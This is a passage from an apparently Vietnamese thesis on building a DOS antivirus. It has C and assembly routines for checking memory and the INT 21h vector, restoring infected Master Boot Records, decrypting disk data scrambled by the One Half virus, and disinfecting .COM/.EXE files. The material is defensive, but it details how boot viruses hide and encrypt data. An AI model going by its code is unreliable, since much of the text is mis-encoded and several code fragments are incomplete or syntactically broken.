Nh− chóng ta ®· ph©n tÝch trong phÇn tæng quan, hÇu hÕt c¸c B-
virus ®Òu th−êng tró trong vïng nhí cao, v−ît qua mÆt DOS b»ng 
c¸ch gi¶m dung l−îng vïng nhí do DOS qu¶n lý t¹i biÕn qu¶n lý 
vïng nhí (cã ®Þa chØ 0:413h) mét l−îng b»ng kÝch th−íc cña 
chÝnh virus. NghÜa lµ nÕu gi¸ trÞ t¹i biÕn qu¶n lý vïng nhí ®ã 
kh«ng ®ñ 640K th× cã c¨n cø ®Ó nghi ngê r»ng ®· cã virus trong 
vïng nhí, tuy nhiªn ®iÒu nµy kh«ng ph¶i lµ kh¼ng ®Þnh, v× cã thÓ 
bé nhí ë phÇn nµo ®ã bÞ háng. Ngoµi ra mét sè B-virus vµ hÇu hÕt 
F-virus ®Òu chiÕm ng¾t 21h, v× thÕ nÕu ®Þa chØ cña ng¾t 21h kh«ng 
®óng th× còng lµ c¨n cø ®Ó chóng ta nghi ngê. 

§Çu tiªn, modul nµy sÏ tiÕn hµnh kiÓm tra gi¸ trÞ t¹i biÕn l−u 
tr÷ tæng sè vïng nhí do DOS qu¶n lý t¹i 0:413h. Sau ®ã sÏ tiÕn 
hµnh ®äc gi¸ trÞ trong b¶ng vector ng¾t ®Ó ®äc ®Þa chØ cña ng¾t 
21h, ®ång thêi kiÓm tra version cña DOS trªn m¸y ®ang kiÓm tra, 
trªn c¬ së ®ã so s¸nh ®èi chiÕu ®Þa chØ ng¾t 21h hiÖn t¹i vµ ®Þa chØ 
chuÈn t−¬ng øng víi version ®ã. NÕu bé nhí ®ñ 640K vµ ®Þa chØ 
ng¾t 21h lµ ®óng th× cã nghÜa lµ trong bé nhí cña m¸y tÝnh kh«ng 
cã virus th−êng tró, modul nµy sÏ tr¶ vÒ hÖ thèng gäi gi¸ trÞ 0. 
Cßn nÕu kh«ng an toµn, modul sÏ tr¶ vÒ c¸c gi¸ trÞ nh− ®· nãi ë 
trªn, hÖ thèng gäi sÏ ®−a ra c¸c lêi c¶nh b¸o, vµ cho phÐp ng−êi 
sö dông chän cã tiÕp tôc viÖc kiÓm tra hay lµ kh«ng kiÓm tra tiÕp 
n÷a. 

§o¹n ch−¬ng tr×nh sau ®©y minh häa c¸ch xö lý ®· nãi ë trªn: 

int gttestmem,gttestmb; 
int cont; 
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gttestmb=test_vir_mem(); 
if(gttestmb==1 || gttestmb==3) return 1; 
else { 
   gttestmem=test_mem(); 
   switch(gttestmem) { 
     case 1: 
      printf("Vung nho khong du 640K ! Co tiep tuc khong 

<1/0>?");  
      scanf("%d",&cont);break; 
     case 2: 
      printf("Dia chi Int21h sai ! Co tiep tuc khong <1/0>?"); 
      scanf("%d",&cont);break; 
     case 3: 
      printf("Vung nho khong du 640K va dia chi Int21h bi 

sai!\n") 
      printf(" Co tiep tuc khong <1/0>? ");  
      scanf("%d",&cont);break; 
     default: 
      printf("   Kiem tra memory la tot!"); 
      cont=1 
 } 
   if(cont==0) return 1; 
} 
 

2. KiÓm tra Master Boot vµ Boot Sector. 

Nãi chung, hÇu hÕt ®o¹n m· ®Çu trong Master Boot trªn c¸c 
®Üa cña c¸c m¸y PC ch¹y trªn hÖ ®iÒu hµnh DOS th«ng dông ®Òu 
gièng nhau,  nh− phÇn tæng quan ®· ph©n tÝch,  nã ®Òu cã nhiÖm 
vô ph©n tÝch ®Ó x¸c ®Þnh Active Partition, sau ®ã chuyÓn chÝnh 
phÇn m· cña m×nh ®i chç kh¸c ®Ó dän chç cho viÖc t¶i Boot 
Record cña Active Partition vµo 0:7C00h (khi ®ã b¶ng tham sè 
®Üa cøng n»m t¹i 0:7BEh),  cuèi cïng chuyÓn ®iÒu khiÓn cho ®o¹n 
m· cña Boot Record võa ®äc. 
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ChÝnh v× lý do ®ã, vµ mét lý do n÷a lµ sè l−îng qu¸ ®«ng ®¶o 
c¸c virus, mµ nhiÒu virus míi ch−a kÞp kh¶o s¸t,  ch−¬ng tr×nh 
kiÓm tra cña chóng ta sÏ tiÕn hµnh nh− sau: 

- §äc Master Boot cña ®Üa cøng cÇn kiÓm tra,  ®èi chiÕu ®o¹n 
m· ®Çu cña nã (0DAh byte) víi Master Boot chuÈn,  nÕu trïng th× 
cã thÓ kÕt luËn r»ng Master Boot nµy OK, cßn nÕu kh«ng trïng th× 
Master Boot nµy cã vÊn ®Ò. Khi ®ã sÏ lÇn l−ît ®èi chiÕu c¸c m· 
nhËn biÕt virus trong VMB.DAT víi Master Boot cÇn kiÓm tra.  

- NÕu ph¸t hiÖn ra virus sÏ tiÕn hµnh kh«i phôc vµ tiªu diÖt. 

- Cßn nÕu kh«ng ph¸t hiÖn ra th× cã thÓ cã hai kh¶ n¨ng:  §ã 
cã thÓ lµ Master Boot lµm nhiÖm vô ®Æc biÖt, hoÆc ®ã cã thÓ lµ 
Master Boot bÞ nhiÔm lo¹i virus mµ ch−¬ng tr×nh cña chóng ta 
kh«ng nhËn biÕt ®−îc, trong tr−êng hîp ®ã, ch−¬ng tr×nh sÏ hái 
ng−êi sö dông xem cã ®Ì mét Master Boot chuÈn lªn vÞ trÝ cña 
Master Boot hay kh«ng. 

Sau ®©y lµ s¬ ®å khèi cña phÇn kiÓm tra Master Boot: 

 
 §èi chiÕu MB cÇn kiÓm tra        OK 
 víi MB chuÈn   Continue 
 
 
 not OK 
 
 
 §èi chiÕu MB cÇn kiÓm traKh«ng ph¸t hiÖn  
 víi m· nhËn biÕt VR   
 trong VMB.DAT 
 
 
 Ph¸t hiÖn   No
   Hái: ®Ì MB chuÈn  
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 Gi¶i m· d÷ liÖu trªn ®Üa  Yes 
  (nÕu VR m· ho¸) 
   
 
 
 
 
 Kh«i phôc MB cò  §Ì MB chuÈn 
 
 
 
 

PhÇn nµy cã 4 hµm chÝnh ®−îc viÕt b»ng ng«n ng÷ 
Assembler. 

- Test_vir_mb():  Hµm nµy so s¸nh Master Boot cÇn kiÓm tra 
víi Master Boot chuÈn, nÕu kh«ng OK sÏ tiÕn hµnh ®èi chiÕu víi 
c¸c m· nhËn biÕt virus trong file VMB.DAT. 

Gi¸ trÞ tr¶ l¹i cña hµm: 

0 : Master Boot OK. 
1 : Ph¸t hiÖn ra virus. 
2 : Master Boot khoong OK, song kh«ng ph¸t hiÖn ra 
virus. 

3 : Lçi ®äc ®Üa hoÆc kh«ng t×m thÊy file VMB.DAT 

Trong ch−¬ng tr×nh ®· l−u tr÷ ®o¹n m· chuÈn cña Master 
Boot, ý nghÜa cña ®o¹n m· nµy chóng ta ®· kh¶o s¸t trong phÇn 
tæng quan. Modul nµy sÏ tiÕn hµnh ®äc Master Boot cÇn kiÓm tra, 
so s¸nh ®o¹n m· cña nã víi ®o¹n m· trong Master Boot chuÈn. 
NÕu thÊy hai ®o¹n m· hoµn toµn khíp nhau, th× Master Boot cÇn 
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kiÓm tra OK, modul nµy kÕt thóc vµ tr¶ vÒ cho hÖ thèng gäi gi¸ trÞ 
0 (Master Boot OK). Cßn nÕu cã sù sai l¹c, th× Master Boot cã vÊn 
®Ò, cã thÓ lµ nã ®ang chøa mét virus B-virus nµo ®ã, hoÆc còng cã 
thÓ nã cã mét nhiÖm vô ®Æc biÖt. Trong tr−êng hîp nµy sÏ tiÕp tôc 
kiÓm tra sù cã mÆt cña virus trªn Master Boot th«ng qua key value 
l−u tr÷ trong file VMB. DAT. Gièng nh− viÖc kiÓm tra ®èi víi file 
VMEM.DAT, ®Çu tiªn file VMB.DAT ®−îc më ra. NÕu viÖc më 
cã lçi (kh«ng cã file VMB.DAT, hoÆc cã nh−ng bÞ lçi), modul sÏ 
kÕt thóc vµ tr¶ vÒ cho hÖ thèng gäi gi¸ trÞ 3 (Lçi ®äc ®Üa hoÆc 
kh«ng t×m thÊy file VMB.DAT). Trong tr−êng hîp ng−îc l¹i, lÇn 
l−ît tõng b¶n ghi l−u tr÷ m· nhËn biÕt cña c¸c B-virus ®−îc ®äc 
vµo vµ kiÓm tra, ®èi chiÕu víi ®o¹n m· trong Master Boot. Mçi 
record l−u m· nhËn biÕt gåm 26 byte cã cÊu tróc nh− sau: 

2 byte : Offset b¾t ®Çu cña m· nhËn biÕt. 
1 byte : Sè l−îng byte trong m· nhËn biÕt. 
10 byte : M· nhËn biÕt cña virus. 
1 byte : Head, n¬i cÊt giÊu Master Boot cò cña ®Üa. 
2 byte : Cyl-Sec, n¬i cÊt giÊu Master Boot cò cña ®Üa.  
10 byte : Tªn cña virus. 

NÕu cã mét m· nhËn biÕt B-virus nµo ®ã trïng víi ®o¹n m· 
t−¬ng øng trong Master Boot cÇn kiÓm tra, modul sÏ ®−a ra th«ng 
b¸o tªn cña virus hiÖn ®ang cã mÆt trong Master Boot, ng¾t vµ tr¶ 
vÒ hÖ thèng gäi gi¸ trÞ 1 (ph¸t hiÖn ra virus).  

Cßn nÕu ®· kiÓm tra hÕt mäi m· nhËn biÕt trong VMB.DAT 
mµ kh«ng thÊy cã sù trïng lÆp trong ®o¹n m· cña Master Boot, 
modul còng sÏ kÕt thóc vµ tr¶ vÒ cho hÖ thèng gäi gi¸ trÞ 2 
(Master Boot l¹, song kh«ng ph¸t hiÖn ra virus). 
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- Khoi_phuc_MB():  Kh«i phôc l¹i Master Boot cò trong 
tr−êng hîp ph¸t hiÖn ra virus, n¾m ®−îc c¬ chÕ giÊu Master Boot 
cña nã. 

Trong tr−êng hîp ph¸t hiÖn ra virus hiÖn ®ang cã mÆt trong 
Master Boot, c¨n cø vµo record l−u m· nhËn biÕt cña nã, modul 
nµy biÕt ®−îc vÞ trÝ giÊu Master Boot tr−íc khi bÞ virus nµy l©y 
nhiÔm. Dùa trªn c¨n cø nµy, modul nµy sÏ kh«i phôc Master Boot 
b»ng c¸ch chuyÓn trë l¹i ®o¹n m· ®Çu cña Master Boot tõ vÞ trÝ cÊt 
giÊu ®Õn ®Ì lªn ®o¹n m· ®Çu trong Master Boot ®ang kiÓm tra. 
Sau khi kh«i phôc xong, hÖ thèng sÏ l¹i quay l¹i ®Ó kiÓm tra ®èi 
víi Master Boot võa kh«i phôc ®ã (xem s¬ ®å khèi phÇn trªn). 

 

- De_MB_chuan(): §Ì Master Boot chuÈn trong tr−êng hîp 
Master Boot kh«ng chuÈn nh−ng kh«ng ph¸t hiÖn ®−îc lo¹i virus. 

Trong tr−êng hîp gÆp Master Boot kh«ng chuÈn, vµ còng 
kh«ng ph¸t hiÖn ra sù cã mÆt cña B-virus trong Master Boot, hÖ 
thèng sÏ hái ng−êi sö dông xem cã ®Ì Master Boot chuÈn lªn hay 
kh«ng. NÕu ng−êi sö dông ®ång ý, modul nµy sÏ ®−îc gäi. C«ng 
viÖc cña modul nµy hoµn toµn gièng nh− c«ng viÖc cña modul 
Khoi_phuc_MB, chØ kh¸c lµ thay v× lÊy ®o¹n m· tõ n¬i cÊt giÊu, 
modul nµy sÏ lÊy ®o¹n m· chuÈn ®Ó chuyÓn ®Ì lªn ®o¹n m· trong 
Master Boot ®ang kiÓm tra. 

 

- Giai_ma(): Kh«i phôc phÇn d÷ liÖu trªn ®Üa trong tr−êng 
hîp lo¹i virus bÞ ph¸t hiÖn cã ph¸ ho¹i b»ng c¸ch m· ho¸. 

Gi¸ trÞ tr¶ l¹i cña hµm:   

0 nÕu kh«i phôc ®−îc,  
1 nÕu qu¸ tr×nh kh«i phôc bÞ lçi. 
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§©y lµ mét modul kh«ng thÓ tæng qu¸t ®−îc. Lý do thø nhÊt 
lµ kh«ng ph¶i mäi B-virus ®Òu tiÕn hµnh ph¸ ho¹i, m· ho¸ ®Ó l¹i 
dÊu vÕt trªn ®Üa ®Ó ph¶i kh«i phôc. Lý do thø hai lµ kiÓu vµ ®èi 
t−îng ph¸ ho¹i cña mçi virus lµ kh¸c nhau, cã nghÜa lµ øng víi 
mçi virus ®· ®−îc kh¶o s¸t, biÕt chóng cã ph¸ ho¹i hoÆc m· ho¸ 
d÷ liÖu trªn ®Üa, ph¶i cã mét ®o¹n ch−¬ng tr×nh kh«i phôc øng víi 
virus ®ã. Theo nh− t«i biÕt, hÇu hÕt c¸c ch−¬ng tr×nh hiÖn nay ®Òu 
ch−a ®¸p øng yªu cÇu ®ã, hä yªu cÇu l−u th«ng tin trªn ®Üa ra n¬i 
an toµn tr−íc khi tiÕn hµnh diÖt c¸c lo¹i virus cã m· ho¸, ph¸ ho¹i 
th«ng tin trªn ®Üa. 

Trong ®å ¸n nµy, v× chóng ta ®ang kh¶o s¸t virus One Half 
nªn modul gi¶i m· sÏ ®Ò cËp tíi viÖc gi¶i m· vïng th«ng tin ®· bÞ 
One Half m· ho¸. 

Nh− chóng ta ®· kh¶o s¸t virus One Half, mçi lÇn khëi ®éng, 
One Half tiÕn hµnh m· ho¸ 2 Cyl, xuÊt ph¸t tõ Cyl cao nhÊt ch−a 
bÞ m· ho¸ vµo phÝa trong, sau ®ã l−u gi¸ trÞ Cyl thÊp nhÊt ®· bÞ m· 
ho¸ vµo offset 29h trong Master Boot.  

Nh− vËy, ®Ó gi¶i m·, modul nµy tr−íc hÕt ph¶i lÊy ®−îc 2 
tham sè: tham sè thø nhÊt lµ gi¸ trÞ Cyl thÊp nhÊt mµ One Half ®· 
m· ho¸, tham sè thø hai lµ gi¸ trÞ cña to¸n h¹ng trong lÖnh XOR 
mµ One Half dïng ®Ó m· ho¸. Hai tham sè nµy t×m ®−îc t−¬ng 
øng t¹i offset 29h trong Master Boot vµ offset 7D1h trong phÇn 
th©n cña virus.  

Ngoµi ra, modul nµy còng ph¶i sö dông chøc n¨ng 08h cña 
ng¾t 13h ®Ó biÕt ®−îc c¸c tham sè æ ®Üa, ph©n tÝch trong b¶ng 
ph©n ch−¬ng ®Ó lÊy ®−îc Cyl lín nhÊt trªn ®Üa. Sau khi cã c¸c 
th«ng sè ®ã, tuÇn tù tõng track cÇn gi¶i m· ®−îc ®äc vµo trong bé 
nhí, tiÕn hµnh gi¶i m· b»ng phÐp to¸n XOR víi gi¸ trÞ XOR cña 
One Half råi l¹i ghi vµo vÞ trÝ cò cña nã trªn ®Üa, hÕt track nµy ®Õn 
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track kh¸c. Sau khi gi¶i m· hÕt c¸c track trªn mét Cylinder, 
chuyÓn sang Cylinder tiÕp theo vµ lÆp l¹i c«ng viÖc ®ã cho ®Õn khi 
®· gi¶i m· hÕt tÊt c¶ mäi Cynlinder tõ Cyl cao nhÊt trªn ®Üa cho 
®Õn Cyl thÊp nhÊt mµ One Half ®· m· ho¸. Gi¸ trÞ tr¶ vÒ hÖ thèng 
gäi cña modul nµy lµ 0 nÕu viÖc gi¶i m· thµnh c«ng, ng−îc l¹i sÏ 
tr¶ vÒ gi¸ trÞ 1. Chi tiÕt xin xem phÇn phô lôc liÖt kª ch−¬ng tr×nh.  

 

§o¹n ch−¬ng tr×nh sau ®©y minh ho¹ c¸ch xö lý ®· nãi ë trªn: 

 int loop,gttest_vmb,cont; 
 do { 
  gttest_vmb=test_vir_mb(); 
  switch(gttest_vmb) { 
   case 1: /* Phat hien ra VR */ 
    printf("\n Co giai ma du lieu tren dia khong <1/0> ? "); 
    scanf("%d",&cont); 
    if(cont==1) giai_ma_oh(); 
    printf("\n   Co khoi phuc MB khong <1/0> ?"); 
    scanf("%d",&cont); 
    if(cont==1) { 
     khoi_phuc_mb(); 
     loop=1; 
    } 
    else  loop=0; 
    break; 
   case 2: /* Not OK song khong phat hien ra VR*/ 
    printf( 
 "\n Master Boot khong chuan, co de Master Boot chuan 

khong <1/0>?); 
    scanf("%d",&cont); 
    if(cont==1) de_mb_chuan(); 
    loop=0; 
    break; 
   case 3: 
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    printf("\n   Loi doc dia "); 
    return 1; 
   default: 
    printf("\n   Master Boot OK \n"); 
    loop=0; 
   } 
 } while (loop>0); 

3. KiÓm tra file. 

C¨n cø vµo tÝnh chÊt l©y lan cña virus trªn c¸c file, ®Ó kiÓm 
tra vµ kh«i phôc file bÞ l©y nhiÔm virus,  cÇn tiÕn hµnh b»ng c¶ hai 
c¸ch: KiÓm tra ®o¹n m· nhËn biÕt virus vµ kiÓm tra b»ng s¬ ®å 
ho¹t ®éng cña virus. §èi víi c¸c virus ®¬n gi¶n,  viÖc l©y nhiÔm 
trªn c¸c file chØ ®¬n gi¶n lµ ghÐp thªm phÇn m· cña virus vµo 
phÇn ®u«i cña file, chóng ta cã thÓ nªu ra mét quy t¾c cho viÖc 
nhËn biÕt vµ kh«i phôc th«ng qua mét CSDL ®Æc tr−ng cña virus. 
Mçi b¶n ghi ®Æc tr−ng cho mét virus, bao gåm c¸c tr−êng nh− 
sau: 

 Size      2 byte   KÝch th−íc cña virus. 
 Offset     4 byte   VÞ trÝ l−u tr÷ cña ®o¹n m· nhËn biÕt 
 Length Code   1 byte   Sè l−îng byte trong ®o¹n 
m· nhËn biÕt 

 Code      10 byte   §o¹n m· nhËn biÕt 
 Name      10 byte   Tªn cña virus 

Sau ®©y lµ s¬ ®å ho¹t ®éng cña ch−¬ng tr×nh kiÓm tra file: 

 
  hÕt 
 Search file   End 
 
 
 cßn 
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 Më file (®äc-ghi) 
 
 
  
 
 Kh«ngbÞ  
 nhiÔm KiÓm tra 
 
 
 bÞ nhiÔm 
 
 
 Kh«i phôc file 
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§èi víi c¸c virus phøc t¹p h¬n,  nh− virus One Half mµ 
chóng ta võa kh¶o s¸t ë trªn, phÇn m· cña chóng ®· bÞ m· ho¸ 
tr−íc khi ®−îc ghÐp thªm vµo file, cho nªn chóng ta ph¶i kiÓm tra 
vµ kh«i phôc chóng th«ng qua s¬ ®å ho¹t ®éng cña tõng con virus 
lo¹i nµy. 

Ch−¬ng tr×nh kiÓm tra vµ kh«i phôc file trong khu«n khæ cña 
luËn ¸n nµy tËp trung chñ yÕu vµo viÖc ph¸t hiÖn vµ kh«i phôc file 
bÞ nhiÔm virus One Half. 

a. Search file: 

§Ó tiÕn hµnh liÖt kª tÊt c¶ c¸c file trªn ®Üa ®Ó kiÓm tra,  chóng 
ta ph¶i sö dông kü thuËt t×m kiÕm ®Ö quy. §Ó ®¶m b¶o tÝnh an 
toµn còng nh− ®¶m b¶o tÝnh chÊt thèng nhÊt trong ho¹t ®éng,  ®Çu 
tiªn chóng ta cÊt gi÷ DTA cña DOS ®ang dµnh cho ch−¬ng tr×nh 
(chøc n¨ng 2Fh cña ng¾t 21h) råi t¹o DTA míi phôc vô cho viÖc 
t×m kiÕm file (chøc n¨ng 1Ah cña ng¾t 21h). Víi mçi entry t×m 
kiÕm ®−îc, chóng ta kiÓm tra xem ®ã lµ file hay th− môc con. 
NÕu lµ file sÏ tiÕn hµnh kiÓm tra file ®ã xem cã bÞ nhiÔm virus 
hay kh«ng, cßn nÕu ®ã lµ th− môc con th× x©y dùng mét m« t¶ t×m 
kiÕm míi t−¬ng øng cho th− môc con ®ã trong mét DTA míi (tÊt 
nhiªn tr−íc ®ã ph¶i cÊt gi÷ DTA hiÖn thêi). Trong tr−êng hîp viÖc 
t×m kiÕm cã lçi (®· hÕt entry) ®èi víi m« t¶ hiÖn thêi, sÏ quay trë 
l¹i DTA tr−íc ®ã ®Ó t×m kiÕm tiÕp. 

Sau ®©y lµ ®o¹n ch−¬ng tr×nh viÕt b»ng ng«n ng÷ assembler 
minh ho¹ cho viÖc liÖt kª file: 

mov   ah,2Fh 
int   21h   ;lay dia chi vung DTA ngam dinh cua 
DOS,  
   ;dat vao ES:BX 
push   es 
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push   bx    ; Cat giu de cuoi cung tra lai cho 
DOS. 
mov   dx,OFFSET buff_dta 
mov   ah,1Ah 
int   21h   ; Dat DTA bat dau lam viec 
mov   bx,dx 
mov   dx,OFFSET mota   ; Mo ta file tim kiem 
mov   cx,0FFh    ; Thuoc tinh file 

loc_loop_0: 
mov   ah,4Eh 
int   21h   ; Tim tap tin thoa man dau tien 

loc_loop_1: 
jc    het_thu_muc 
mov   al,byte ptr [bx+15h] 
push   ax 
and   al,08h   ; Nhan dia 
cmp   al,08h 
pop   ax 
je    tim_tiep   ; Lµ nh·n ®Üa, bá qua t×m tiÕp 
entry kh¸c. 
push   ax 
and   al,10h 
cmp   al,10h    ; co la thu muc con khong 
pop   ax 
jne   la_file    ; Nhay neu khong phai la thu 
muc con 
cmp   byte ptr [bx+1Eh],'.' 
je    tim_tiep   ; La cac thu muc dac biet 
call   xd_mo_ta_t ; con neu la subdir thi xay dung 
mo ta moi 
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add   bx,2Bh    ; bx tro toi DTA moi, DTA 
chiÕm 2Bh byte 
push   dx 
mov   dx,bx 
mov   ah,1Ah 
int   21h 
pop   dx 
jmp   loc_loop_0  ; Tim tap tin dau tien theo mo ta 
moi 

la_file: 
call   in_ten_file ; In ten file tim duoc trong DTA ra 
man hinh 
                ; vµ kiÓm tra virus ®èi víi file nµy 
call   xuong_dong 
jmp   tim_tiep 

het_thu_muc: 
cmp   bx,OFFSET buff_dta 
je    ket_thuc    ;NÕu t×m hÕt trong dir. ngoµi 
cïng th× kt 
call   xd_mo_ta_l 
sub   bx,2Bh 
push   dx 
mov   dx,bx 
mov   ah,1Ah 
int   21h 
pop   dx 

tim_tiep: 
mov   ah,4Fh 
int   21h      ; Tim tap tin ke tiep 
jmp   loc_loop_1 
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ket_thuc: 
pop   bx 
pop   es 
mov   dx,bx 
push   es 
pop   ds 
mov   ah,1Ah 
int   21h   ; Dat DTA lai vi tri cu 
pop   es 
pop   ds 
ret 

buff_dta db 400h dup (0) 
mota   db 50h dup (0) 

§o¹n ch−¬ng tr×nh trªn gäi hai thñ tôc xd_mo_ta_t vµ 
xd_mo_ta_l. Thñ tôc xd_mo_ta_t lµ ghÐp thªm entry th− môc võa 
t×m ®−îc vµo m« t¶ file hiÖn t¹i ®Ó t×m kiÕm trong th− môc con 
®ã, cßn thñ tôc xd_mo_ta_l la gì bá th− môc cuèi cïng trong m« 
t¶ file hiÖn t¹i ®Ó quay lïi trë l¹i t×m kiÕm tiÕp trong th− môc cha. 

b. KiÓm tra file. 

C¨n cø trªn s¬ ®å l©y nhiÔm cña virus One Half ®èi víi file, 
viÖc kiÓm tra sÏ tiÕn hµnh trªn hai lo¹i file d¹ng .COM vµ d¹ng 
.EXE,  b»ng c¸ch ®äc vµ ph©n tÝch 1Ch byte ®Çu tiªn cña file. 

b1. KiÓm tra file d¹ng .COM: 

Nh− ®· kh¶o s¸t file d¹ng .COM bÞ l©y nhiÔm virus One Half,  
file bÞ l©y nhiÔm ph¶i b¾t ®Çu b»ng lÖnh nh¶y E9xxxx,  nh¶y tíi 
®o¹n m· ®Çu tiªn cña One Half thay thÕ trong file. §o¹n m· ®Çu 
tiªn nµy vµ c¸c ®o¹n m· sau ®ã thu xÕp c¸c c«ng viÖc cña virus, 
gi¶i m· phÇn ch−¬ng tr×nh cña virus ghÐp vµo file. Cuèi c¸c ®o¹n 
m· (kh«ng qu¸ 10 byte) lµ mét lÖnh nh¶y E9xxxx hoÆc EBxx 
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nh¶y ®Õn ®o¹n tiÕp theo. NÕu mét file cã ®Çy ®ñ c¸c yÕu tè trªn 
th× ®ã chÝnh lµ file ®· bÞ nhiÔm One Half,  c¨n cø trªn gi¸ trÞ kÝch 
th−íc file, gi¸ trÞ m· ho¸ ban ®Çu, gi¸ trÞ t¨ng trong qu¸ tr×nh m· 
ho¸, ch−¬ng tr×nh kh«i phôc cña chóng ta sÏ tiÕn hµnh gi¶i m· 
phÇn ®Çu (d÷ liÖu) cña virus One Half,  tr¶ l¹i d÷ liÖu cho 10 ®o¹n 
m· vµ 3 byte ®Çu tiªn cña ch−¬ng tr×nh nguyªn thÓ ®· bÞ virus 
One Half thay thÕ. 

b2. KiÓm tra file d¹ng .EXE: 

Qua kh¶o s¸t ë c¸c phÇn tr−íc, chóng ta ®· thÊy r»ng c¬ chÕ 
l©y nhiÔm trªn file .EXE hoµn toµn t−¬ng tù nh− ®èi víi file d¹ng 
.COM,  nghÜa lµ còng thay thÕ 10 ®o¹n m· cña ch−¬ng tr×nh 
nguyªn thÓ b»ng ®o¹n m· cña virus, chØ kh¸c lµ nhËn biÕt ®èi víi 
file d¹ng .COM b»ng 3 byte ®Çu tiªn th× ®èi víi file .EXE, nhËn 
biÕt b»ng Exe Header. §o¹n m· ®Çu tiªn ®−îc trao quyÒn ®iÒu 
khiÓn ®−îc x¸c ®Þnh b»ng CS:IP vµ kÝch th−íc cña Exe Header. 
NÕu b¾t ®Çu tõ ®o¹n m· ®Çu tiªn, file cã ®ñ c¸c yÕu tè gièng nh− 
®èi víi file .COM th× cã thÓ kÕt luËn r»ng file nµy ®· bÞ nhiÔm 
virus One Half. ViÖc kh«i phôc còng t−¬ng tù nh− ®èi víi file 
d¹ng .COM:  Gi¶i m· phÇn ®Çu (phÇn d÷ liÖu) cña virus One Half,  
råi tiÕn hµnh thay thÕ l¹i 10 ®o¹n m· ®· bÞ One Half thay thÕ, x©y 
dùng l¹i Exe Header ®óng cña file. 

Sau ®©y lµ mét sè ®o¹n m· minh häa,  chi tiÕt xin xem phÇn 
phô lôc liÖt kª ch−¬ng tr×nh nguån: 

mov  dx,OFFSET tenfile 
call  mo_file_handle ; mo file dang xet theo che 
do doc ghi, 
  ; the dat o bx, ax=1 neu co loi 
  ; Doi voi cac file ReadOnly 
khong cho ;   ; phep mo theo che do nay. 
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cmp  ax,1 
je  mo_bi_loi 
mov  cx,1Ch  ;doc 1C byte dau tien, tai vi tri 
con tro file  
mov  dx,OFFSET buff_1C  ; con tro file vao 
buff_1C 
mov  ah,3Fh 
int  21h 
jc  doc_bi_loi 
cmp  ax,cx   ; Khong du so byte can doc 
jb  dong_file 
mov  si,OFFSET buff_1C 
cmp  byte ptr [si],0E9h 
je  loc_test_file_com ;  lenh dau tien la lenh nhay 
E9? 
cmp  word ptr [si],5A4Dh 
je  loc_test_file_exe 
jmp  dong_file  ; neu khong thi ket thuc 

loc_test_file_com: 
call  KT_FILE_COM 
cmp  ax,0 
je  dong_file  ; Khong bi nhiem nen dong file 
lai 
call  com_da_bi_nhiem 
jmp  dong_file 

loc_test_file_exe: 
call  KT_FILE_EXE 
cmp  ax,0 
je  dong_file  ; Khong bi nhiem nen dong file 
lai 



 
www.nhipsongcongnghe.net 

 
129/233 

call  exe_da_bi_nhiem 
jmp  dong_file 

dong_file: 
call  dong_file_handle 
cmp  ax,1 
je  dong_bi_loi 
jmp  loc_kt 

doc_bi_loi: 
call  thong_bao_loi_doc 
jmp  dong_file 

mo_bi_loi: 
call  thong_bao_loi_mo 
jmp  loc_kt 

dong_bi_loi: 
call  thong_bao_loi_dong 
jmp  loc_kt 

loc_kt: 
ret 

;------------------------- 
KT_FILE_COM PROC ; Kiem tra file not EXE (la file COM 

hoac khac) 
 ; Tra ve gia tri trong thanh ghi ax 
 ; ax=1 neu bi nhiem One Half 
 ; ax=0 neu khong bi nhiem hoac trong qua trinh doc bi 
loi 
push  es 
push  bx 
push  cx 
push  dx 
push  si 
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push  di 
mov  dx,word ptr [si+1] ; Byte dau la lenh nhay thi 
[si+1]  
       ; la dia chi nhay 
add  dx,3  ; Cong them 3 byte cua lenh nhay 
truoc 
xor  ax,ax 
mov  es,ax 
mov  Header_Size,ax 
call  test_oh_file 
pop  di 
pop  si 
pop  dx 
pop  cx 
pop  bx 
pop  es 
ret 

KT_FILE_COM ENDP 
 

;******************************************** 
KT_FILE_EXE PROC ; Kiem tra file .EXE 

 ; Tra ve gia tri trong thanh ghi ax 
 ; ax=1 neu bi nhiem One Half 
 ; ax=0 neu khong bi nhiem hoac trong qua trinh doc bi 
loi 
push  es 
push  bx 
push  cx 
push  dx 
push  si 
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push  di 
mov  dx,word ptr [si+ExeIP] 
mov  ax,word ptr [si+ReloCS] 
mov  es,ax 
mov  ax,word ptr [si+HdrSize] 
mov  cl,4 
shl  ax,cl 
mov  Header_Size,ax 
call  test_oh_file 
pop  di 
pop  si 
pop  dx 
pop  cx 
pop  bx 
pop  es 
ret 

KT_FILE_EXE ENDP 
 

;**************************** 

test_oh_file proc 
 ; Lµ thñ tôc kiem tra xem file cã c¸c ®o¹n m· do virus 
thay thÕ 
 ; hay kh«ng, nÕu cã lÊy kÝch th−íc, gi¸ trÞ m· ho¸ ban 
®Çu 
 ; vµ gi¸ trÞ t¨ng trong qu¸ tr×nh m· ho¸. 
 ; Gi¸ trÞ tr¶ l¹i trong thanh ghi ax 
 ; ax=1 la file ®· bÞ nhiÔm, ng−îc l¹i ax=0 

test_oh_file endp 
 

;********************************** 
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xd_vt_file proc 
 ; Xac dinh vi tri cua file .EXE can doc 
 ; voi segment CS trong es, 
 ; offset IP trong dx 
 ; Gia tri tra lai trong cx:dx 
push  ax 
mov  ax,es 
xor  cx,cx 
clc 
shl  ax,1 
rcl  cx,1 
shl  ax,1 
rcl  cx,1 
shl  ax,1 
rcl  cx,1 
shl  ax,1 
rcl  cx,1 
add  dx,ax 
adc  cx,0 
add  dx,Header_Size 
adc  cx,0    ; cx:dx la vi tri ma CS:IP bat dau thuc 
hien lenh 
and  cx,000Fh 
pop  ax 
ret 

xd_vt_file endp 
 

;********************************** 
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khoi_phuc_file_com proc 
push  ax 
push  bx 
push  cx 
push  dx 
push  si 
push  di 
mov  dx,kich_thuoc 
xor  cx,cx 
call  dat_tro_file    ; Dat tro file ve phan dau cua 
virus 
cmp  ax,1 
je  khong_khoi_phuc_duoc 
mov  dx,OFFSET buff_temp ; buff luu phan dau 
cua virus. 
mov  cx,120h 
mov  ah,3Fh 
int  21h  ; Doc phan dau cua virus oh gom 
120h byte 
jc  khong_khoi_phuc_duoc 
cmp  ax,cx 
jb  khong_khoi_phuc_duoc 
mov  si,OFFSET buff_temp 
mov  dx,ma_hoa_file 
dec  cx 

loop_giai_ma: 
xor  word ptr [si],dx 
add  dx,tang_ma_hoa_file 
inc  si 
loop  loop_giai_ma 
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mov  si,OFFSET buff_temp 
mov  dx,si 
